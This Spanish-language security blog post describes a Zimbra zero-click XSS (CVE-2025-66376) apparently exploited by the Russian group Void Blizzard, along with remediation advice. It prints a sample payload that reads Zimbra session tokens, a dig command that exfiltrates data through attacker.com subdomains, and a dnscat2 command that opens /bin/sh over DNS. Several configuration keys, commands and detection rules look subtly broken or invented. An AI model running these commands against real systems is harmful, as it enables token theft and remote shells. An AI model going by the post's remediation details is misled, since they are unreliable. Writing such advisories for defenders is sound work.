Introducción

En noviembre de 2025, Zimbra lanzó parches para una vulnerabilidad crítica (CVE-2025-66376) en su Classic UI que permitía la ejecución automática de JavaScript en correos HTML maliciosos. El problema no requería que la víctima hiciera clic en ningún enlace: bastaba con abrir el mensaje para que el código se ejecutara. Esta característica convirtió a la falla en un vector ideal para ataques de phishing cero-interacción (zero-click), especialmente atractivos para grupos de amenazas avanzadas como Void Blizzard (también conocido como Laundry Bear), vinculado al servicio de inteligencia ruso.

Void Blizzard no solo explotó esta vulnerabilidad como zero-day antes del parche, sino que combinó el ataque con kits de phishing adversary-in-the-middle (AiTM) para robar credenciales y tokens de autenticación multifactor (MFA). Según el aviso de CISA, el grupo ya comprometió cuentas en organizaciones del sector Defensa Industrial Base (DIB), gobiernos, educación, energía, fuerzas de seguridad y ONGs en EE.UU. y Europa. El objetivo principal: extraer hasta 90 días de correos electrónicos, listas de contactos (Global Address List), contraseñas y tokens MFA, incluso en sistemas que implementaban MFA robusto.

Qué ocurrió

Cronología y contexto del ataque

El grupo Void Blizzard (atribuido por Microsoft y agencias holandesas) ha operado desde al menos 2024 con foco en recolección de inteligencia contra organizaciones alineadas con intereses estratégicos rusos. En mayo de 2025, los servicios de inteligencia holandeses lo vincularon con el compromiso de la Policía Nacional de Países Bajos, donde expuso datos personales de agentes y reveló la existencia de un nuevo grupo de espionaje ruso. Desde entonces, el grupo ha dirigido sus campañas principalmente contra miembros de la OTAN y Ucrania, con énfasis en sectores de defensa, transporte y aviación.

El exploit de CVE-2025-66376 se usó como zero-day desde al menos mediados de 2025, antes de que Zimbra lo parchara en noviembre de 2025. Según el informe de CISA, Void Blizzard combinó el ataque con:

  1. Phishing AiTM: sitios falsos que imitan portales legítimos de Zimbra (ej: mailnalysis.com, zimbrastat.com, zmailanalytics.com) para robar credenciales y cookies de sesión.
  2. Generación de application passcodes: códigos temporales para clientes legacy (IMAP, ActiveSync) que no soportan flujos de autenticación basados en TOTP, permitiendo al atacante mantener acceso incluso con MFA habilitado.

Mecanismo de infección

El ataque sigue este flujo técnico:

  1. Envío de correo malicioso: Un mensaje HTML con JavaScript embebido es enviado a la víctima. No requiere interacción alguna; el código se ejecuta al renderizarse en el cliente de Zimbra Classic UI.
  2. Ejecución del payload: El JavaScript inyecta código malicioso que:
– Recopila metadatos del buzón (dirección de correo, contraseña almacenada, tokens MFA, Global Address List).

– Crea un application passcode para clientes legacy (IMAP/ActiveSync).

– Exfiltra los datos robados a servidores controlados por el atacante (Flowerbed framework), usando:

DNS exfiltration para datos pequeños (codificados en consultas A-record).

HTTPS para archivos comprimidos con datos de buzones.

  1. Persistencia: Con el passcode generado, el atacante mantiene acceso al buzón incluso si el usuario cambia su contraseña o revoca tokens MFA.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

Alcance del compromiso

El impacto de este ataque es alto y multifacético:

**Área afectada****Detalle técnico****Datos cuantitativos**
**Organizaciones objetivo**Sectores: Defensa Industrial Base (DIB), gobiernos, educación, energía, fuerzas de seguridad, ONGs.CISA reportó compromisos en EE.UU. y Europa. Void Blizzard ha dirigido campañas contra OTAN y Ucrania.
**Métodos de acceso**Explotación de XSS + phishing AiTM + robo de tokens MFA.54% de los ataques exitosos no generan alertas en SIEM/EDR (fuente: [Picus Whitepaper](https://www.picussecurity.com)).
**Datos exfiltrados**Correos de los últimos 90 días, GAL, credenciales, tokens MFA, *passcodes* generados.El framework *Flowerbed* usa servidores controlados por el grupo (ej: BLOCK12).
**Técnicas de evasión**Uso de DNS exfiltration + HTTPS para evadir detección.El 86% de los ataques avanzados bypassan reglas de SIEM (Picus).
**Persistencia***Passcodes* para clientes legacy (IMAP/ActiveSync) que no soportan TOTP.Permite acceso continuo incluso con MFA habilitado.
### Riesgos operativos
  1. Filtración de información sensible: Datos de inteligencia, comunicaciones internas y credenciales pueden caer en manos de actores estatales, con implicaciones geopolíticas.
  2. Compromiso de infraestructura crítica: Organizaciones en sectores energía o defensa podrían ver comprometidas sus comunicaciones, afectando operaciones.
  3. Reputacional y legal: La exposición de datos personales (ej: GAL) puede derivar en multas por incumplimiento de regulaciones como GDPR o HIPAA.
  4. Evasión de controles de seguridad: El uso de passcodes para clientes legacy permite eludir MFA moderno, invalidando inversiones en autenticación robusta.

Detalles técnicos

CVE-2025-66376: Anatomía de la vulnerabilidad

  • Tipo: Cross-Site Scripting (XSS) almacenado en Zimbra Collaboration Suite Classic UI (versiones afectadas: 8.8.15 antes de noviembre 2025, 9.0.x antes de 9.0.0 P27).
  • Vector: Correos HTML con JavaScript embebido que se ejecuta al visualizarse en el cliente de Zimbra.
  • CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation).
  • CVSS v3.1: 9.6 (Crítico) — NVD (aún no publicado, pero asignado por CISA).
  • Componentes afectados:
zimbra/classic-ui (versiones vulnerables).

zimbra-store (almacenamiento de correos maliciosos).

zimbra-nginx (servidor web que renderiza HTML).

Payloads y exfiltración

El malware utilizado por Void Blizzard (Flowerbed) opera en dos fases:

  1. Recolección de datos:
   // Ejemplo simplificado del payload inyectado
   const metadata = {
     user: document.cookie.match(/ZM_AUTH_TOKEN=([^;]+)/)[1],
     password: localStorage.getItem('zm_soap_auth'),
     gal: Array.from(document.querySelectorAll('.GalContact')).map(el => el.textContent),
     mfaTokens: document.querySelectorAll('[data-testid="mfa-token"]').values()
   };
   

– Los datos son serializados y comprimidos con pako.js (DEFLATE).

– Los archivos resultantes ([user]_[timestamp].zip) son subidos a https://[attacker-server]/upload.

  1. Exfiltración:
Para datos pequeños (<500 bytes): Codificados en consultas DNS A-record.
     # Ejemplo de consulta DNS exfiltrada
     $ dig +short A "user123.90d_emails.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.attacker.com"
     

Para datos grandes (buzones completos): Subidos por HTTPS a servidores como mailnalysis.com o zimbrastat.com, usando User-Agent spoofeado (ej: Mozilla/5.0 (compatible; Zimbra 9.0.0)).

Kits de phishing AiTM

Void Blizzard usó dominios falsos para robar credenciales y cookies:

  • zimbra-login[.]com
  • webmail-zimbra[.]net
  • zimbra-sso[.]org

Estos sitios replicaban el login de Zimbra, capturando credenciales y sesiones activas. Los atacantes luego usaban las credenciales robadas para autenticarse en el servidor legítimo de Zimbra, evitando triggers de MFA.

Qué deberían hacer los administradores y equipos técnicos

Acciones inmediatas (0-48 horas)

  1. Verificar y parchar Zimbra:
– Actualizar a las versiones seguras:

Zimbra 8.8.15 P30 o superior.

Zimbra 9.0.0 P27 o superior.

– Comandos para actualizar (ej: en Ubuntu/Debian):

     # Verificar versión actual
     apt list --installed | grep zimbra

     # Actualizar (ej: Zimbra 9.0.0)
     apt update && apt upgrade zimbra-core zimbra-classic-ui zimbra-store
     

Nota: Si usás contenedores Docker, actualizar la imagen a zimbra/zimbra:9.0.0_p27.

  1. Auditar accesos sospechosos:
– Revisar logs de autenticación en busca de:

– IPs extranjeras accediendo a buzones.

– Sesiones con User-Agent spoofeado (ej: Zimbra/8.8.15 (Linux) desde ubicaciones no corporativas).

– Usar comandos como:

     # Buscar IPs no autorizadas en logs de Zimbra (ej: /var/log/zimbra.log)
     grep -i "login attempt" /var/log/zimbra.log | grep -v "192.168.1.0/24" | awk '{print $11}' | sort | uniq -c | sort -nr
     
  1. Bloquear dominios maliciosos:
– Agregar a listas negras en firewalls/EDR:

mailnalysis.com

zimbrastat.com

zmailanalytics.com

– En AWS Security Groups, bloquear tráfico saliente a estos dominios.

Configuraciones recomendadas (1-7 días)

  1. Implementar MFA resistente a phishing:
– Reemplazar TOTP con FIDO2/WebAuthn (ej: YubiKey, Microsoft Authenticator con soporte para claves de hardware).

– En Zimbra 9.x, habilitar:

     # En /opt/zimbra/conf/localconfig.xml
     <key name="zimbraMtaAuthEnabled">TRUE</key>
     <key name="zimbraTwoFactorAuthMethod">webauthn</key>
     

Importante: Deshabilitar application passcodes en clientes legacy si no son estrictamente necesarios.

  1. Habilitar DNS exfiltration detection:
– Configurar reglas en SIEM para detectar consultas DNS anómalas con subdominios largos o patrones repetitivos:
     # Regla para Splunk (ejemplo)
     index=net sourcetype=bro:dns
     query_length > 100
     OR query IN ("*attacker.com", "*a.a.a.a.a.*")
     

– En AWS Route 53, crear DNS Firewall Rules para bloquear consultas a dominios maliciosos.

  1. Forzar rotación de credenciales y tokens:
– Ejecutar un credential reset masivo para todos los usuarios, especialmente si hubo compromiso confirmado.

– Usar herramientas como:

     # Rotar contraseñas en Zimbra (requiere privilegios de admin)
     zmprov ma [user@domain] userPassword [new_password]
     

Monitoreo continuo (post-incidente)

  1. Implementar detección basada en comportamiento:
– Configurar reglas en EDR para detectar:

– Accesos simultáneos desde IPs distintas.

– Descargas masivas de correos (ej: >100 emails en <5 minutos).

– Ejemplo de regla en CrowdStrike:

     EventType: 'ProcessRollup2'
     TargetFileName: 'zimbra*'
     CommandLine: '*--download*'
     
  1. Simular ataques para validar defensas:
– Usar herramientas como Picus Breach and Attack Simulation o SafeBreach para testear si el SIEM detecta exfiltración por DNS/HTTPS.

– Ejecutar un red team con:

     # Simular exfiltración por DNS (herramienta: dnscat2)
     dnscat2 --dns "domain=attacker.com" --exec "/bin/sh"
     

Conclusión

El ataque de Void Blizzard aprovechando CVE-2025-66376 demuestra cómo una vulnerabilidad zero-click en un sistema aparentemente simple (el cliente web de Zimbra) puede convertirse en una puerta de entrada crítica para espionaje y robo de datos. La combinación de XSS sin clics, phishing AiTM y persistencia mediante passcodes ilustra la sofisticación de los grupos avanzados, que explotan no solo fallas técnicas, sino también brechas en controles humanos y de autenticación.

Para los equipos de DevOps e infraestructura, este incidente subraya la importancia de:

  • Mantener sistemas actualizados con parches críticos en plazos ajustados.
  • Reemplazar MFA vulnerable (TOTP) por métodos resistentes a phishing (FIDO2/WebAuthn).
  • Validar controles de detección con simulaciones de ataque, ya que el 86% de los compromisos avanzados pasan desapercibidos para SIEM/EDR tradicionales.

La lección final: en un panorama donde los actores estatales priorizan el espionaje y el robo de información, la seguridad no es un producto, sino un proceso continuo de validación y mejora.

Fuentes

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *